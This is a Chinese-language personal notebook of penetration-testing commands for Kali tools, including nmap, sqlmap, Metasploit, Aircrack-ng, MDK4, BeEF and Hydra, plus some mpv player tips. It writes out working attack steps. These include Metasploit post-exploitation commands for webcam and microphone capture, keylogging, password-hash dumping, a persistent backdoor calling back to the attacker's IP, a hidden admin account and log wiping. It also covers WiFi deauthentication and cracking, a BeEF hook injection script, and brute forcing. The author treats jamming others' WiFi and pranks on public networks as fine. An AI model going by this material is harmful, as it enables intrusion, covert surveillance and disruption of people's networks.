紫队的诞生

2025.12.21记录：两个月前的笔记全灭了，今天起朝花夕拾，顺便再加上蓝队笔记，红蓝结合成紫，因此称为紫队的诞生

蓝队工具集（部分）：

蓝队基本工作：识别，防护，检测，恢复，响应（大概是）

红队工具集（部分）：

红队工具集（部分）：

红队基本工作：侦查，分析，后渗透，漏洞利用，权限提升，无线攻击，密码攻击

侦查

nmap基础

nmap是新手启程之路，也是检测局域网设备和端口的实用工具

基础命令

nmap -V 查看nmap版本号
nmap 192.168.1.1 扫描这个ip的端口号
nmap 192.168.1.1 192.168.1.2 扫描多个ip的端口
nmap 192.168.1.0/24 扫描尾部从0到256的所有ip和端口
nmap -p 1-1000 192.168.1.1 设定端口扫描区间
nmap -sT 192.168.1.1 使用三次握手，更稳定
nmap -sS 192.168.1.1 半开放扫描，更隐蔽
nmap -sn 192.168.1.0/24 只扫描ip尾部从0到256的ip,忽略端口
nmap -sV 192.168.1.1 扫描端口对应的服务版本
nmap -O 192.168.1.1 检测目标操作系统

进阶-高级隐蔽

nmap可以使用--source-port指定扫描时使用的源端口号：
namp -sS --source-port xx 192.168.1.1
搭配-sS可以提高隐蔽程度，因为它：
只发送 TCP 的 SYN 包(连接请求)，　果目标端口开放，会返回 SYN-ACK，Nmap 收到后立即发送 RST(重置)包，不完成三次握手，这样就不会建立真正的连接，很多系统不会记录日志；避免被防火墙和 IDS 发现，因为没有完整连接，很多防火墙、入侵检测系统(IDS)不会触发告警；而且可以不需要root权限即可扫描
没有--source-port，nmap会随机选择一个临时端口作为扫描数据包的源端口。但某些防火墙或 IDS 会根据源端口来判断是否允许数据包通过
这些端口包括：
DNS 53
HTTP 80
HTTPS 443

Recon-ng基础

Recon-ng是一个模块化的网络侦查框架，可以进行目标机器的自动化收集，工作框架和metasploit比较像

使用指南

在终端使用recon-ng启动
workspaces create xxx 创建名为xxx的工作区
workspaces list 列出已有工作区
workspaces select xxx 选中xxx工作区
---
add domains xxx.com 添加目标域名
add hosts 192.168.1.1 添加目标主机
---
show modules 列出可用模块
search xxx可以搜索模块
show info查看模块说明和参数
modules load recon/domains-hosts/bing_domain_web 加载来自信息收集模块/从域名收集主机/使用bing搜索收集子域名的模块

设置模块参数这一块还需研究，下面给的可能不准确
show options
set SOURCE xxx.com
设置模块所需参数，　目标域名、API密钥等
---
run 运行
---
show hosts
show domains
查看收集到的主机，域名等信息
---
export csv xxx.csv 把结果导出csv文件

常用模块

1. 信息收集模块：
recon/domains-hosts/bing_domain_web 使用bing搜索收集子域名
recon/domains-hosts/google_site_web 使用google搜索收集子域名
recon/hosts-hosts/resolve 把域名解析为IP地址
recon/hosts-hosts/ipwhois/查询IP地理位置和归属信息
recon/contacts-contacts/hibp_breach 查询邮箱是否泄漏 （需要API）
2. 漏洞识别模块
recon/hosts-vulnerrabilities/xssed 查询目标是否存在XSS漏洞
recon/hosts-vulnerabilities/shodan_hostname 使用Shodan搜索主机漏洞（需要API）
3. 社交分析模块
recon/profiles-profiles/profiler 查询某用户在哪些网站注册
recon/profiles-profiles/namechk 使用namechk检查用户名占用情况
4. 数据导出模块
export/csv 把收集到的数据导出为scv文件
export/json 把收集到的数据导出为json文件
5. 辅助模块
auxiliary/file 从文件导入数据
auxiliary/geoip 查询IP的地理位置
---

theHarvester基础

Wireshark

Wireshark这一块的我也不说啥介绍了，我本来想给它新开一个栏目的，后来想想还是算了，作为网络抓包器的神，我们网络安全学院的windows 7机房都有安装这个软件，这玩意都可以“明面”做什么，我将在下面介绍

监控模式

Wireshark可以监控网卡能捕获到的所有packet，　果想要单独监控特定wifi也可以，还是需要和aircrack联动才可以做到，首先，懂得都懂，先把无线网卡转为监控模式：
sudo airmon-ng start wlan0
然后打开wireshark，选择wlan0mon，然后就可以看到附近所有已经过的数据包了
但了解监控模式工作方式的都知道，此时的无线网卡只能主动搜素频段为2.4GHz的网络，默认不搜索5GHz以上的网络，　果要抓取特定5G网络（或者其他特定任意网络），需要先了解目标WIFI所在的频道号，Kali Linux的KDE桌面环境可以在网络小组件看到所有WIFI的频段和频道，记好再切换到监控模式哦，切换后就不能直接看了！
sudo iwconfig wlan0mon channel 36 #切换监控的频道号为36，然后Wireshark就可以监控36号频道的所有wifi了
　果要监控特定WIFI，可以试试这个：
在wireshark界面上方的过滤器输入 wlan addr2 == [MAC地址]

分析

Nikto基础

Nikto是一款开源的 Web 服务器漏洞扫描器，主要用于发现网站服务器上的潜在安全问题， 危险文件、过时服务、配置错误等。它是 Kali Linux 中最常用的 Web 渗透测试工具之一
扫描速度较快，但不隐蔽，容易被IDS/防火墙记录，可搭配 Burp Suite、Nmap 等工具进行综合分析

基本使用

nikto -h [URL] #扫描指定url地址或者ip,默认扫描80端口，执行后它会检测服务器类型，版本，危险文件等

可选参数：

-h 指定目标地址

-p 指定端口

-ssl 扫描https服务，或者在url添加https://

-Tuning x 控制扫描类型（ 跳过DOS测试）

-Display V 显示详细输出

-output [html文件] 结果保存为html文件

-Format htm 指定输出格式（ htm, txt, csv, xml）

-useragent 设置自定义用户代理

-useproxy 使用代理扫描

-timeout 设置超时时间

SQLmap基础

这是一款自动化 SQL 注入测试工具，可以快速发现并利用 Web 应用中的数据库注入漏洞
它：
1. 自动检测并利用SQL注入漏洞
2. 支持多种数据库（MySQL、PostgreSQL、Oracle、SQL Server等）
3. 可以枚举数据库、表、字段
4. 可以直接获取数据、甚至直接执行系统命令

基本调用方式：sqlmap -u “http://xxx/参数?id=1”

常用参数：
-u -> 指定目标URL
--dbs -> 枚举所有数据库
--tables -D '数据库名' -> 枚举特定数据库的表
--dump -D ‘数据库名’ -T ‘表名’ -> 导出某个表的数据
--batch -> 自动选择默认选项，避免交互
--cookie="PHPSESSID=xxx" -> 果需要登录状态，可以添加
-p ‘参数名’ -> 指定要测试的参数

实例流程

目标网址：http://arthur.test.com
在这个网址搜索一个值1，返回URL=http://arthur.test.com/item?id=1，就用这个网址下手
检测注入点：
sqlmap -u “http://arthur.test.com/item?id=1”
返回该数据库的相关信息（数据库类型，版本）
枚举数据库：
sqlmap -u “http://arthur.test.com/item?id=1” --dbs
会输出一些数据库，但其中：mysql / information_schema / performance_schema / sys 都用于存放系统数据而不是用户数据，通常不用看他们
比　我看中一个数据库：meme
查看特定数据库的表：
sqlmap -u “http://arthur.test.com/item?id=1” -D meme --tables
会输出meme数据库的表，比　我看中一个表：hehe
查看特定表的字段：
sqlmap -u “http://arthur.test.com/item?id=1” -D meme -T hehe --dump
就可以获得hehe里面的所有内容了

OpenVAS基础

OpenVAS是漏洞扫描器，主要用于发现目标系统的安全漏洞。它通过图形界面(GVM)进行管理，适合进行全面的漏洞评估
但是kali linux并不预装openvas，还需要手动安装：
sudo apt install gvm
然后执行：
sudo gvm-setup来初始化
最后会出现一个ip地址，通过浏览器启动web interface进行下一步操作
修改默认用户（admin）密码：
sudo runuser -u _gvm -- gvmd --user=admin --new-password=1234

创建扫描任务：
1. 添加目标：
菜单栏选择 Targets
设置目标 IP 或域名
可配置端口范围、认证方式等
2. 创建任务:
菜单栏选择 Tasks
创建新任务，关联目标
选择扫描配置(　Full and Fast)
3. 启动扫描：
点击任务→Start
等待扫描完成(时间取决于目标复杂度)
4. 查看结果：
菜单栏选择reports
查看漏洞详情、风险等级、修复建议
可导出为PDF，HTML等格式

后渗透

Metasploit Payload Generator

Metasploit是一个模块化工具，内置很多功能，它有两大渗透方式：tcp和http
tcp适用于windows 8.1及以下和android 13及以下的操作系统，优点是需要的操作比较少
http适用于windows任何系统，优点是对windows的威慑力很强

会话功能

进入目标系统会话后，可以进行一些有意思的活动
1. 了解目标
sysinfo #系统信息
getuid #当前用户
getprivs #当前权限
ipconfig #网络信息
ps #进程列表
2. 屏幕截图，摄像头获取
screenshot #截图
webcam_list #获取可用摄像头
webcam_namp -i 1 -v false #在不启动目标图片查看器调用第一个摄像头拍照
record_mic -d 10 #麦克风录制10秒
3. 文件系统访问
cd C:\\ 指向C盘
ls #列出目录
search -f *.* -d C:\\Users #在特定目录搜索文件
download C:\\Users\\xxx*.* #下载文件到本地
upload xxx C:\\xxx\\ #把文件上传到指定位置
4. 凭证获取
hashdump #转储所有用户密码哈希值
5. 提取万物
run post/windows/gather/enum_xxx #视使用的工具决定效果
6. 内网探测
run arp_scanner -r xxx (原理类似namp) #扫描多个IP
run post/windows/gather/enum_tcp #扫描端口
7. 后门和持久
run persistemce -U -l 60 -p 端口 -r 我的IP #创建持久后门，让目标随时随地被黑，60秒连一次，重启也不好使
8. 创建用户
shell - net user xxx 123 /add - net localgroup administartor xxx /add #创建一个用户，密码123,并将其定为管理员
9. 键盘记录
keyscan_start #开始键盘记录
keyscan_dump #查看记录的数据
keyscan_stop #停止记录
10. 远程桌面
run getgui -e #RDP服务端部署，成功后使用RDP软件连接
run vnc #VNC连接
11. 提权
getsystem #提升权限至SYSTEM
12. 模拟权限
use incognito #查看可用令牌
list_token -u
impersonate_token DOMAIN\\xxx #模拟特定用户
13. 恶作剧
ejectcd #弹出光驱

play xxx.wav #在目标机器播放wav文件
run vbs -f xxx.vbs #在目标机器显示消息框
lockdesk #锁屏
14. 隐藏/清理踪迹
migrate '其他程序PID号' #把自身进程渗透至其他进程
clearev #清除事件日志
run post/windows/manage/migrate #隐藏自身进程

无线攻击

因为我最近购买了一个distike deauther设备，使我对无线网络的攻防有了更大的兴趣，所以我提前记录了一些工具的使用笔记
目前我发现最有意思的工具还是MDK4,攻击性强也很好玩

Aircrack-ng

aircrack-ng是无线攻击的一个工具组，它包含很多不同类型的工具，可以各司其职，完成各种各样的工作，它能做的事情也很多

因为wifi密码不同，握手包的加密内容也会变化，aircrack就可以通过字典来比对加密内容是否一致，就这个原理，
果字典里没有目标密码就认吧

其实，aircrack更像是一种辅助工具，它可以转变网卡状态（监控模式，攻击模式），以供其他工具正常使用（Wireshark，MDK4）

默认情况下，我们电脑的网卡是处于普通模式（Managed Mode）的，此时网卡只接收和发送与自己关联的 AP（路由器）的数据，它会过滤掉其他 Wi-Fi 的数据包，只保留和自己连接相关的流量，因此能保证本身的上网功能

而在监控模式(Monitor Mode)，网卡不再只关注自己连接的 AP，而是能接收**所有无线信道上的原始数据包**，包括 Beacon 帧、Probe 请求/响应、认证帧、数据帧等，这就是为什么能看到附近 Wi-Fi 的信息和已连接的客户端，可以用来抓包，分析，渗透测试

但不是所有无线网卡都可以使用监控模式（我的电脑无线网卡是Intel芯片组）

🔍 什么网卡支持监控模式

- Atheros 芯片组（如 AR9271）
  - 在 Kali Linux 下兼容性最好，常见于 Alfa AWUS036NHA。
- Ralink/Mediatek 芯片组（如 RT3070、MT7612U）
  - 常见于 Alfa AWUS036NH、Panda Wireless PAU09。
- Realtek 芯片组（如 RTL8812AU、RTL8187L）
  - Alfa AWUS036ACH、TP-Link Archer T9UH 等型号支持。
- Intel 芯片组（部分型号）
  - 在 Linux 下部分驱动支持，但兼容性不如 Atheros。
- 外置 USB 网卡
  - 通常比笔记本内置网卡更容易支持监控模式。

🚫 什么网卡不支持

- 大多数笔记本内置网卡
  - 厂商驱动往往只提供 Managed 模式，不支持 Monitor Mode。
- Windows 下的网卡
  - 原生驱动几乎不支持监控模式，需要特殊驱动或外置适配器。
- 廉价无品牌网卡
  - 芯片和驱动信息不透明，通常无法启用监控模式。

无线网卡进入监控模式后，就不能用来上网了，但还有其他联网手段：USB共享网络，蓝牙共享网络（速度很慢，但这确实是唯一快捷的方式了），以太网连接，再加一个无线网卡（会额外占用一个USB接口）

字典破解

sudo airmon-ng start wlan0 #可以通过ip a来确定无线网卡硬件名，完成后会生成一个接口为wlan0mon
sudo airodump-ng wlan0mon #可以记录扫描到的网络BSSID（MAC地址）和信道号（channel）
sudo airdump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon #针对目标网络进行数据包捕获，其中capture是即将保存的文件名

可以玩阴的，使用deauth攻击，使已连接的设备重新连接，从而直接获取握手包：
sudo aireplay-ng -0 10 -a [BSSID] wlan0mon

获取到握手包后，可以使用字典文件进行破解：
aircrack-ng -w [字典文件] -b [BSSID] [capture文件] #通过字典文件逐一尝试，但不排除字典里没有目标密码的可能性！

我翻了几个字典，的确找不到自己设置过的的密码，这个方法其实不算靠谱

半暴力破解

暴力破解本质也是字典，不过字典可以让用户自己生成，推荐用于玩笑！比　问一个人wifi密码是多少位，包不包含大小写字母等来快速破解wifi密码

---

crunch 8 12 abcdefg123456 -o 1.txt #生成一个全排列字典，每一行的字符最短为8,最长为12,只排列abcdefg123456这些字符，保存为1.txt，合理安排位数，文件会特别大，推荐仅用于破解8位数或更少的密码，9位数勉强，10位数以上的先爱惜好电脑再说

```
└─$ crunch 11 11 lxp85171729 -o dict.txt
Crunch will now generate the following amount of data: 376572715308 bytes
359127 MB
350 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 31381059609
^CCrunch ending at
```

我是服了已经，没人会为了一个密码出卖自己的电脑吧，11位数整出三百亿个排列方式这是要吓死谁

然后就可以使用字典破解法进行破解

或者：

crunch 8 12 abcdefg123456 | aircrack-ng -w - -b [BSSID] [capture文件]

或者使用hashcat的硬件加速功能更快破解：

hcxpcapngtool [capture文件] -o [22000文件] #把aircrack捕获的数据包转换为hashcat支持的格式

hashcat -m 22000 [22000文件] [字典文件]

说真的，我并不认为这个是真的在暴力破解，反正网络安全这一块的这十几年又没有白发展

Deauther攻击

果觉得密码破解不好用，那么这是比较好用的一个功能了，我在DISTIKE设备测试过deauther攻击来强制断开他人wifi连接或者阻止他人连接特定wifi,但缺陷是其不支持5Ghz WIFI，但在电脑上deauther的威慑力和可控性会大大提高，就是用起来不 dstike那么方便

---

sudo airmon-ng start wlan0 #首先挂上自己的网卡，挂上后这台电脑暂时不能连网了（除非有网线）

sudo airodump-ng wlan0mon #探测能搜索到的wifi网络，然后锁定你想动手的WIFI

sudo airodump-ng -c [信道号] wlan0mon #信道号就是目标wifi对应的信道，这样就能把自己的网卡信道与其同步

sudo aireplay-ng -0 10 -e [APMAC名] -c [MAC] wlan0mon

其中-0代表是deauther攻击；10代表攻击次数，0则是无限制；-e代表使用essid即ap名称，改为-b则是bssid即MAC码；-c可选踢掉特定mac，没有就是全踢

或者简单粗暴点：

sudo aireplay-ng -0 -b [WIFI名] wlan0mon #踢出该wifi的所有连接并阻止后续连接（对于WPA2可以踢人，WPA3只能阻止后续连接，和distike deautcher设备一个效果）

玩够了的话，就执行：

sudo airmon-ng stop wlan0mon 恢复网卡

默认情况下，airodump只探测2.4Ghz的网络，因为5GHz的网络通道更多更复杂， 果要全面搜索会消耗大量时间（而且它本身就不支持），甚至损耗网卡，所以还是斟酌使用吧

📡 5GHz Wi-Fi 通道分布

根据 IEEE 802.11 标准，5GHz Wi-Fi 通道覆盖 **5150 MHz – 5850 MHz** 范围 Wikipedia +1 ：

1. 非 DFS 通道（常用，稳定）

- **36, 40, 44, 48** → 频率范围 5.170–5.250 GHz
- **149, 153, 157, 161, 165** → 频率范围 5.745–5.825 GHz
  👉 这些通道不需要雷达检测，常见于家用路由器，连接稳定。

2. DFS 通道（需雷达检测）

- **52, 56, 60, 64** → 5.250–5.330 GHz
- **100–144** → 5.500–5.700 GHz
  👉 因为与气象雷达、军用雷达频段重叠，AP 必须监听是否有雷达信号，一旦检测到就要切换通道。

3. 特殊情况

- **中国**：通常开放 36–64、149–165，部分 DFS 通道可能受限。
- **美国/欧洲**：开放范围更广，但 DFS 通道仍需遵守监管要求。

📊 对比表

通道范围	类型	是否常用	说明
36–48	非 DFS	✅ 常用	家用路由器常见，稳定
52–64	DFS	⚠️ 较少	需雷达检测，可能切换
100–144	DFS	⚠️ 较少	常用于企业/室外 AP
149–165	非 DFS	✅ 常用	高功率，覆盖范围大

⚠️ 注意事项

- **DFS 通道**在实验时可能导致工具报错或信号丢失，因为 AP 会自动切换。
- **不同国家开放范围不同**，Linux 下可以用 `iw list` 查看网卡支持的信道。
- 在渗透测试或实验时，建议优先选择 **36–48 或 149–165** 这些非 DFS 通道。

✅ 总结：5GHz Wi-Fi 通道主要是 **36–48、52–64、100–144、149–165**，其中 **36–48 和 149–165 最常用**，DFS 通道需要额外雷达检测机制。

Wifite

这个工具实质是一个自动化脚本，结合了aircrack-ng, reaver, pixieWPS等工具，实现自动化

MDK4

果你觉得aircrack的密码破解，踢人已经很牛逼了，那么这玩意一定会给你开眼界（给我也开眼了）
这玩意也得结合aircrack的部分功能使用：
sudo airmon-ng start wlan0 #把自己的网卡暂时“献祭“了

攻击手段

+实验环境限定：这种攻击只能在自己设备和网络上测试，公共网络上使用违法（恶作剧什么的我觉得无所谓了）
同样的，mdk4默认只针对2.4G网络攻击，　果要攻击5G网络，需要指定通道号
1. Deauth：
aircrack的deauth有个缺陷，就是只能针对特定信道的特定wifi攻击，而mdk4就牛逼了，可以把能看到的所有wifi全干了
sudo airodump-ng wlan0mon #锁定信道号
sudo mdk4 wlan0mon d -c [信道号]
　果你想一次攻击所有能看到的wifi,就把-c去掉 :)，　果想针对特定wifi,可以使用-B➕BSSID/-E + ESSID
2. Beacon：
beacon攻击是aircrack没有的，其实他俩唯一重合功能也就deauth，beacon的作用是创建大量虚假热点，没有实质性伤害，就是纯捣乱
sudo mdk4 wlan0mon b -f [包含SSID的文本文件]
文本文件格式：
wifi1
wifi2
wifi3
以此类推
没有文件，就会自动生成wifi名
3. Authentication
这个攻击手段就是伪造大量客户端请求连接wifi的行为，可以在短时间向wifi发送大量连接请求，可能会使wifi（暂时）瘫痪（可以拿自己手机试试）
sudo mdk4 wlan0mon a #可以添加-c指定信道号，或者-a指定某个AP（后面接BSSID哦）
4. Probe
这玩意的作用就是干扰AP，干扰客户端，有类似于Authentication与beacon的结合
sudo mdk4 wlan0mon p #参数同上

MDK4还有很多攻击方式，但基本都偏向于安全测试，没啥意思

🔍 MDK4 的高级攻击/测试模块

- Michael Countermeasures Exploitation
  - 针对 TKIP 加密（WPA/WPA2 TKIP）的“Michael”校验机制。
  - 通过伪造错误的 MIC（Message Integrity Code）触发 AP 的防御机制，使其短时间内拒绝服务。
  - 主要用于验证 TKIP 的脆弱性。
- EAPOL Start and Logoff Packet Injection
  - EAPOL 是 WPA/WPA2 握手协议的一部分。
  - 通过注入大量 Start/Logoff 包，干扰客户端与 AP 的认证过程。
  - 可导致客户端频繁掉线或无法完成握手。
- Attacks for IEEE 802.11s mesh networks
  - 针对 Wi-Fi Mesh 网络（802.11s）的特殊攻击。
  - Mesh 节点之间需要维护路由表，攻击者可以伪造路由信息或洪水请求，导致 Mesh 网络不稳定。
- WIDS Confusion
  - WIDS = Wireless Intrusion Detection System。
  - 通过伪造异常流量，混淆或绕过无线入侵检测系统。
  - 用于测试 WIDS 的可靠性和抗干扰能力。
- Packet Fuzzer
  - 类似于协议模糊测试工具。
  - 向 AP 或客户端发送畸形/随机化的 Wi-Fi 帧，测试协议栈的健壮性。
  - 常用于发现潜在的实现漏洞。
- Proof-of-concept of WiFi protocol implementation vulnerability testing
  - 概念验证模块，用来测试 Wi-Fi 协议实现中的已知或潜在漏洞。
  - 更偏研究用途，而不是常规攻击。

常见频段

2.4G：
2.437G 通道6
5G：
5.745G 通道149

漏洞利用

BeEF

BeEF是一个用于浏览器安全测试的框架，可以测试浏览器在面对恶意脚本时的防御能力，展示 XSS 攻击的危害和防御方法，在合法授权的环境里模拟浏览器攻击
但是XSS攻击已经很老了，现代的网页和浏览器对其有一定的防御能力，所以建议仅用于测试
基本使用：
sudo beef-xss
然后会启用web服务，首次使用时会提示设置密码，用户名为默认beef
beef的核心是hook.js，将其注入到目标网页中就可以进行进行一些操作， 信息收集，社会工程测试，网络探测等
hook.js注入方式：
1. 在要控制的HTML加入：
<script src="<你的BeEF服务器IP>:3000/hook.js"></script>
2. 通过XSS漏洞注入， 果目标没有XSS漏洞，BeEF的乐趣也确实少了很多

SearchSploit

SearchSploit是Exploia Database提供的一个命令行工具，可以用于本地搜索漏洞利用代码和PoC，核心作用就是提供一个离线漏洞搜索引擎
可以与nmap, msfconsole等工具结合
基本使用：
searchsploit -u #从exploit-db获取漏洞库更新
基本搜索：
searchsploit wordpress #搜索关键词，　wordpress,可以返回其漏洞利用方式
精确搜索：
searchsploit -t “Apache Struts” #可以精确匹配标题，适合查找特定软件版本
显示路径：
searchsploit -p 12345 #根据exploit-id显示本地路径，方便复制查看源码
复制源码：
searchsploit -m 12345 #把exploit-id对应的代码复制到当前目录，适合快速调用或修改
搜索特定版本号：
searchsploit apache 2.4 #只搜索2.4版本的apache
其他参数：
-w #显示exploit-db在线链接
-j #输出为json格式，方便脚本调用

密码攻击

就像aircrack的无线密码破解一样，这类的密码攻击也是暴力破解为主

John

全称John the Ripper是一个密码破解工具，包含三种破解方式：单一模式、字典模式、增量模式
首先把目标密码文件保存到一个文件里，然后执行
john --single [密码文件名] #基于用户名和简单规则，速度快，范围小
john --wordlist=[字典文件名] [密码文件名] #使用字典文件
john --incremental [密码文件名] #列举所有字符组合，强效但是特别慢，只可以用于没有合适字典的前提

特性介绍：
单一模式：基于用户名和文件内容，会把用户名、登录名、以及哈希文件里的相关信息作为密码候选，在用户名的基础上做一些变形，　大小写，简单添加数字和符号
增量模式：由john内置的字符集和规则引擎自动生成所有可能的密码组合，由短到长逐步尝试，也就是说，它自己就是一个字典生成手段

Hydra

Hydra是一个支持多协议的暴力破解工具
基本使用：
hydra -l [用户名] -p [密码] [目标IP] [服务]
例　：
hydra -l arthur -p 0 192.168.1.10 ssh #通过ssh登录某台电脑
hydra -L users.txt -P passwords.txt 192.168.1.10 ftp #使用users.txt和passwords.txt字典文件进行批量尝试
hydra -l root -P pass.txt -s 2222 192.168.1.10 ssh #此举是开一个新的ssh端口2222登录目标的root用户，并用pass.txt内容逐一对密码
以上属于SSH💥破，下面是HTTP Web表单爆破，用于网页登录：
hydra 192.168.1.10 http-post-form "/login:username=^USER^&password=^PASS^:F=Login failed" -L users.txt -P passwords.txt （这只是个例子，还得视HTML内容而定）

常用参数（懒得打字了已经）：

参数	功能
-l	指定单一用户名
-p	指定单一密码
-L	用户名字典文件
-P	密码字典文件
-s	指定端口
-t	并发线程数（默认 16）
-V	显示详细尝试过程
-f	找到一个正确结果后立即停止

-w/W 设置延迟时间(秒)

提示：　果线程数过高，或者延迟过低，可能会导致目标卡死，　果是web请求的话，可能会导致DoS效应，可以使用-t，-w和-f参数提高延迟，降低效率，但能保证目标成活率

流量监控/入侵检测

日志收集/事件管理

事件响应/协作平台

漏洞管理/防御评估

软件使用笔记

很多软件看似简陋，实际玩法多多

mpv

mpv是一个“绝对”万能的播放器，只打开软件，发现基本没有什么功能，但是它的功能都体现在命令行灵活使用以实现不同功能，这也是为什么我会特意为mpv开一个栏目，多看多记，才好玩

常用参数

播放控制：
--speed=0.5 设置播放速度为0.5
--loop 循环播放
--volume=50 设置音量为50%
输出方式：
--vo=gpu 使用gpu渲染，在播放高精度视频有用，避免掉帧
--gpu-api=vulkan/opengl 指定渲染API
--vo=x11 使用x11渲染机制，可以用于通过ssh播放视频
硬件解码：
--hwdec=auto 自动选择硬件解码
字幕设置：
--sub-file=xxx.srt 指定字幕文件
--sub-delay=2 字幕延迟2秒
--sub-font-size=40 设置字幕大小
窗口控制：
--fullscreen 默认全屏播放
--geometry=50%:50% 指定窗口位置，50%:50%是居中
--ontop 置顶窗口